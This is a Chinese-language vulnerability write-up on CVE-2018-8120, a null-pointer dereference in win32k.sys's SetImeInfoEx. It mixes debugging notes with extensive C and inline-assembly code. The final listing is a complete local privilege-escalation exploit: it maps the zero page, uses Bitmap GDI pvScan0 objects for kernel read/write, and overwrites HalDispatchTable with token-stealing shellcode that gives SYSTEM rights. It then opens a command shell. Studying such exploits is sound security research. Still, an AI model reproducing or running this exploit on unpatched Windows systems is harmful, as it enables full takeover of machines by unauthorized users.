Windows內核提權漏洞CVE-2018-8120分析

可在其中找受影響的版本復現,在受影響版本的系統中找到win32k.sys導入IDA。
配合api文檔查函數
https://learn.microsoft.com/zh-cn/windows/win32/api/winuser/nf-winuser-getprocesswindowstation
windbg 雙機調試
.reload/f win32k.sys,可以找到win32k.pdb文件,導入IDA后便能查看函數名。
漏洞函數位于win32k.sys的SetImeInfoEx()函數,該函數在使用一個內核對象的字段之前并沒有進行是否為空的判斷,當該值為空時,函數直接讀取零地址內存。如果在當前進程環境中沒有映射零頁面,該函數將觸發頁面錯誤異常,導致系統藍屏發生。



查看下tagWINDOWSTATION
dt win32k!tagWINDOWSTATION

spklList對象的結構為:

漏洞觸發驗證
查看SSDT表
dd KeServiceDescriptorTable
dds Address L11C 顯示地址里面值指向的地址. 以4個字節顯示。

dd nt!KeServiceDescriptorTableShadow
dds bf999b80 L0000029b
函數的索引號:(bf999bb4 - bf999b80)/4 = 0x34/0x4 = 0xD = 13
直接使用PChunter。

#include#include#include DWORD gSyscalIndex = 0x1226;_declspec(naked)void NtUserSetImeInfoEx(PVOID argv1) { _asm { mov esi, argv1; mov eax, gSyscalIndex; //系統調用服務號 mov edx, 0x7FFE0300; //ntdll.KiFastSystemCall快速系統調用 call DWORD ptr[edx]; ret 4; }}int main() { HWINSTA hSta = CreateWindowStation(0, 0, READ_CONTROL, 0); SetProcessWindowStation(hSta); char ime[0x800]; NtUserSetImeInfoEx((PVOID)&ime); return 0;}
windbg捕獲到的正是SetImeInfoEx()中針對pWindowStation->spklList字段進行內存訪問的代碼。

已知漏洞產生的原因是零地址內存訪問違例,如果在漏洞函數運行的進程中,零地址處的內存分頁完成映射,則函數將繼續執行。下面繼續看看函數如果繼續運行,會發生什么情況。

漏洞產生函數后續執行過程中會執行內存拷貝,且拷貝源來自于參數2,屬于用戶可控內容。如果拷貝目標v4可控,則可以實現任意內存地址寫入(且漏洞函數運行在內核權限,內核空間與用戶空間內存均有權限讀寫)。至此,如果可以實現任意內存地址寫入,則可以通過覆蓋系統服務函數指針的方式,實現任意代碼執行。
HEVD中的空指針解引用用例,使用NtAllocateVirtualMemory映射零地址分頁的內存。
https://blog.csdn.net/qq_38025365/article/details/106176472?spm=1001.2014.3001.5502
HEVD中的任意地址寫用例,覆蓋ntoskrnl!HalDispatchTable表中第二項的hal!HaliQuerySystemInformation()函數指針,NtQueryIntervalProfile()函數在運行過程中會從HalDispatchTable表中調用該函數。使得用戶程序在調用系統函數NtQueryIntervalProfile()的時候,執行由應用程序設定的ShellCode。
https://bbs.pediy.com/thread-225176.htm
#include#include DWORD gSyscalIndex = 0x1226;_declspec(naked)void NtUserSetImeInfoEx(PVOID argv1) { _asm { mov esi, argv1; mov eax, gSyscalIndex; //系統調用服務號 mov edx, 0x7FFE0300; //ntdll.KiFastSystemCall快速系統調用 call DWORD ptr[edx]; ret 4; }}typedef NTSTATUS(WINAPI* My_NtAllocateVirtualMemory)( IN HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN ULONG ZeroBits, IN OUT PULONG RegionSize, IN ULONG AllocationType, IN ULONG Protect ); My_NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL; int main() { HWINSTA hSta = CreateWindowStation(0, 0, READ_CONTROL, 0); SetProcessWindowStation(hSta); char ime[0x800]; *(FARPROC*)&NtAllocateVirtualMemory = GetProcAddress( GetModuleHandleW(L"ntdll"), "NtAllocateVirtualMemory"); if (NtAllocateVirtualMemory == NULL) { printf("[+]Failed to get function NtAllocateVirtualMemory!!!"); system("pause"); return; } PVOID Zero_addr = (PVOID)0x100; SIZE_T RegionSize = 0x1000; printf("[+]Started to alloc zero page..."); if (!NT_SUCCESS(NtAllocateVirtualMemory( INVALID_HANDLE_VALUE, &Zero_addr, 0, &RegionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) || Zero_addr != NULL) { printf("[+]Failed to alloc zero page!"); system("pause"); return; } printf("[+]Success to alloc zero page..."); printf("申請到的地址是 0x%p", Zero_addr); PBYTE pt = (PBYTE)Zero_addr; *(PDWORD)(pt + 0x14) = (DWORD)0x12345678; *(PDWORD)(ime) = (DWORD)0x12345678; *(PDWORD)(pt + 0x2C) = (DWORD)0x83d2b3fc; //HalDispatchTable+0x4 NtUserSetImeInfoEx((PVOID)&ime); return 0;}
上訴方法利用失敗,函數指針目標地址,無法通過漏洞函數的第二個判斷
用戶態程序使用CreateBitmap函數創建得到的Bitmap對象的成員結構中,有存在于內核空間中的成員指針變量pvScan0,而該指針變量可以在用戶態下,通過調用GetBitmaps以及SetBitmaps方法,對pvScan0指向的內存地址進行讀取和寫入。
Bitmap GDI技術參考:
https://www.anquanke.com/post/id/247764#h2-0
https://xz.aliyun.com/t/8667
// 創建BitmapHBITMAP CreateBitmap( int nWidth, int nHeight, UINT nPlanes, UINT nBitCount, const VOID *lpBits); // 將bitmap bits拷貝到指定緩沖區LONG GetBitmapBits( HBITMAP hbit, LONG cb, LPVOID lpvBits); // 設置bitmap的bitsLONG SetBitmapBits( HBITMAP hbm, DWORD cb, const VOID *pvBits);
CreateBitMap創建的結構SURFACE OBJECT。

當程序調用了CreateBitmap方法后,程序的進程環境控制塊(PEB)中的GdiSharedHandleTable表便增加了一個索引,該索引對象的結構為:
typedef struct _GDICELL{ LPVOID pKernelAddress; USHORT wProcessId; USHORT wCount; USHORT wUpper; USHORT wType; LPVOID pUserAddress;} GDICELL;
pKernelAddress泄露了Bitmap對象的內核地址,再看pKernelAddress指向的數據結構:
typedefstruct {BASEOBJECT BaseObject; //0x00SURFOBJ SurOBJ; //0x18} typedef struct _BASEOBJECT { HANDLE hHmgr; 0x04 PVOID pEntry; 0x08 LONG cExclusiveLock; 0x0d PW32THREAD Tid;0x10} BASEOBJECT, *POBJ; typedef struct _SURFOBJ { DHSURF dhsurf; 0x04 HSURF hsurf; 0x08 DHPDEV dhpdev; 0x09 HDEV hdev; 0x0a SIZEL sizlBitmap; 0x0e ULONG cjBits; 0x12 PVOID pvBits; 0x16 PVOID pvScan0; 0x20 LONG lDelta; 0x24 ULONG iUniq; 0x28 ULONG iBitmapFormat; 0x2c USHORT iType; 0x2e USHORT fjBitmap; 0x30} SURFOBJ

gdiCell_Addr = PEB.GdiSharedHandleObejct + (hMgr & 0xffff) * sizeof(GDICELL)pvScan0_Offset = pKernelAddress + 0x10 + 0x1cpvScan0 = *( PEB.GdiSharedHandleObejct + (hMgr & 0xffff) * sizeof(GDICELL)) + 0x2C;
在32位系統下,通過GDICELL->pKernelAddress + 0x30(在64位系統下是0x50,具體計算成員變量指針所占字節),即可得到指向pvScan0指針的偏移量。
(1) 創建2個bitmaps(Manager/Worker)。
(2) 使用CreateBitMap返回的handle獲取pvScan0的地址。
(3) 使用任意地址寫漏洞將Worker的pvScan0地址寫入Manager的PvScan0(作為Value)。
(4) 對Manager使用SetBitmapBits ,也就是改寫Woker的pvScan0的Value為讀/寫的任意地址。
(5) 對Worker使用GetBitmapBits/SetBitmapBits,以對第四步設置的地址任意讀寫!

#include#include#include#include #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)( IN ULONG ProfileSource, OUT PULONG Interval ); typedef NTSTATUS(WINAPI* My_NtAllocateVirtualMemory)( IN HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN ULONG ZeroBits, IN OUT PULONG RegionSize, IN ULONG AllocationType, IN ULONG Protect );My_NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL; //申請0頁內存void getZeroMemory() { PVOID Zero_addr = (PVOID)1; SIZE_T RegionSize = 0x1000; *(FARPROC*)&NtAllocateVirtualMemory = GetProcAddress( GetModuleHandleW(L"ntdll"), "NtAllocateVirtualMemory"); if (NtAllocateVirtualMemory == NULL) { printf("[+]Failed to get function NtAllocateVirtualMemory!!!"); system("pause"); } if (!NT_SUCCESS(NtAllocateVirtualMemory( INVALID_HANDLE_VALUE, &Zero_addr, 0, &RegionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) || Zero_addr != NULL) { printf("[+]Failed to alloc zero page!"); system("pause"); } printf("[+]Success to alloc zero page...");}__declspec(naked) VOID ShellCode(){ _asm { pushad mov eax, fs: [124h] // 找到當前線程的_KTHREAD結構 mov eax, [eax + 0x50] // 找到_EPROCESS結構 mov ecx, eax mov edx, 4 // edx = system PID(4) // 循環是為了獲取system的_EPROCESS find_sys_pid : mov eax, [eax + 0xb8] // 找到進程活動鏈表 sub eax, 0xb8 // 鏈表遍歷 cmp[eax + 0xb4], edx // 根據PID判斷是否為SYSTEM jnz find_sys_pid // 替換Token mov edx, [eax + 0xf8] mov[ecx + 0xf8], edx popad xor eax, eax ret }}static VOID CreateCmd(){ STARTUPINFO si = { sizeof(si) }; PROCESS_INFORMATION pi = { 0 }; si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOW; WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" }; BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi); if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);} //獲取ntkrnlpa.exe 在 kernel mode 中的基地址LPVOID NtkrnlpaBase(){ LPVOID lpImageBase[1024]; DWORD lpcbNeeded; CHAR lpfileName[1024]; EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded); for (int i = 0; i < 1024; i++) { GetDeviceDriverBaseNameA(lpImageBase[i], lpfileName, 48); if (!strcmp(lpfileName, "ntkrnlpa.exe")) { printf("[+]success to get %s", lpfileName); return lpImageBase[i]; } } return NULL;} DWORD32 GetHalOffset_4(){ // 獲取ntkrnlpa.exe運行時基址 PVOID pNtkrnlpaBase = NtkrnlpaBase(); printf("[+]ntkrnlpa base address is 0x%p", pNtkrnlpaBase); // 獲取用戶態加載ntkrnlpa.exe的地址 HMODULE hUserSpaceBase = LoadLibrary("ntkrnlpa.exe"); // 獲取用戶態中HalDispatchTable的地址 PVOID pUserSpaceAddress = GetProcAddress(hUserSpaceBase, "HalDispatchTable"); // 由ntkrnlpa.exe運行時基址加上HalDispatchTable偏移量,得到HalDispatchTable在內核空間中的地址,加上0x4偏移量 DWORD32 hal_4 = (DWORD32)pNtkrnlpaBase + ((DWORD32)pUserSpaceAddress - (DWORD32)hUserSpaceBase) + 0x4; printf("[+]HalDispatchTable+0x4 is 0x%p", hal_4); return (DWORD32)hal_4;} //NtUserSetImeInfoEx()系統服務函數未導出,需要自己在用戶進程中調用該系統服務函數,以執行漏洞函數SetImeInfoEx()。//其中SyscallIndex的計算,根據系統ShadowSSDT表導出序號計算。DWORD gSyscall = 0x1226;__declspec(naked) void NtUserSetImeInfoEx(PVOID tmp){ _asm { mov esi, tmp; mov eax, gSyscall; //系統調用符號 mov edx, 0x7FFE0300; // ntdll.KiFastSystemCall快速系統調用 call dword ptr[edx]; ret 4; }}DWORD getpeb(){ //在NT內核中,FS段為TEB,TEB偏移0x30處為PEB DWORD p = (DWORD)__readfsdword(0x18); p = *(DWORD*)((char*)p + 0x30); return p;}DWORD gTableOffset = 0x094;DWORD getgdi(){ return *(DWORD*)(getpeb() + gTableOffset);}DWORD gtable;typedef struct{ LPVOID pKernelAddress; USHORT wProcessId; USHORT wCount; USHORT wUpper; USHORT wType; LPVOID pUserAddress;} GDICELL;PVOID getpvscan0(HANDLE h){ if (!gtable) gtable = getgdi(); DWORD p = (gtable + LOWORD(h) * sizeof(GDICELL)) & 0x00000000ffffffff; GDICELL* c = (GDICELL*)p; return (char*)c->pKernelAddress + 0x30; } int main(){ //1. 創建bitmap對象 unsigned int bbuf[0x60] = { 0x90 }; HANDLE gManger = CreateBitmap(0x60, 1, 1, 32, bbuf); HANDLE gWorker = CreateBitmap(0x60, 1, 1, 32, bbuf); //2. 使用句柄查找GDICELL,計算pvScan0地址 PVOID mpv = getpvscan0(gManger); PVOID wpv = getpvscan0(gWorker); printf("[+] Get manager at 0x%p,worker at 0x%p", mpv, wpv); //使用漏洞將Worker的pvScan0偏移地址寫入Manager的pvScan0值 // 新建一個新的窗口,新建的WindowStation對象其偏移0x14位置的spklList字段的值默認是零 HWINSTA hSta = CreateWindowStation( 0, //LPCSTR lpwinsta 0, //DWORD dwFlags READ_CONTROL, //ACCESS_MASK dwDesiredAccess 0 //LPSECURITY_ATTRIBUTES lpsa ); // 和窗口當前進程關聯起來 SetProcessWindowStation(hSta); char buf[0x200]; RtlSecureZeroMemory(&buf, 0x200); PVOID* p = (PVOID*)&buf; p[0] = (PVOID)wpv; DWORD* pp = (DWORD*)&p[1]; pp[0] = 0x180; pp[1] = 0x1d95; pp[2] = 6; pp[3] = 0x10000; pp[5] = 0x4800200; //獲取0頁內存 getZeroMemory(); *(DWORD*)(0x2C) = (DWORD)(mpv); *(DWORD*)(0x14) = (DWORD)(wpv); // WindowStation->spklList字段為0,函數繼續執行將觸發漏洞 NtUserSetImeInfoEx((PVOID)&buf); PVOID pOrg = 0; DWORD haladdr = GetHalOffset_4(); PVOID oaddr = (PVOID)haladdr; PVOID sc = &ShellCode; SetBitmapBits((HBITMAP)gManger, sizeof(PVOID), &oaddr); //利用manager設置worker的可修改地址為hal函數 printf("[+]要覆蓋的目標地址 0x%x", oaddr); GetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);//獲取可修改的地址 SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &sc);//設置地址為shellcode printf("[+]覆蓋完畢,準備執行Shellcode"); //觸發shellcode NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryIntervalProfile"); printf("[+]NtQueryIntervalProfile address is 0x%x", NtQueryIntervalProfile); DWORD interVal = 0; NtQueryIntervalProfile(0x1337, &interVal); //收尾 SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg); CreateCmd(); return 0;}
不同版本的exp還沒完全看懂。
其中alphalab中win32版本的exp提出來,有些地方對不上,感覺很奇怪。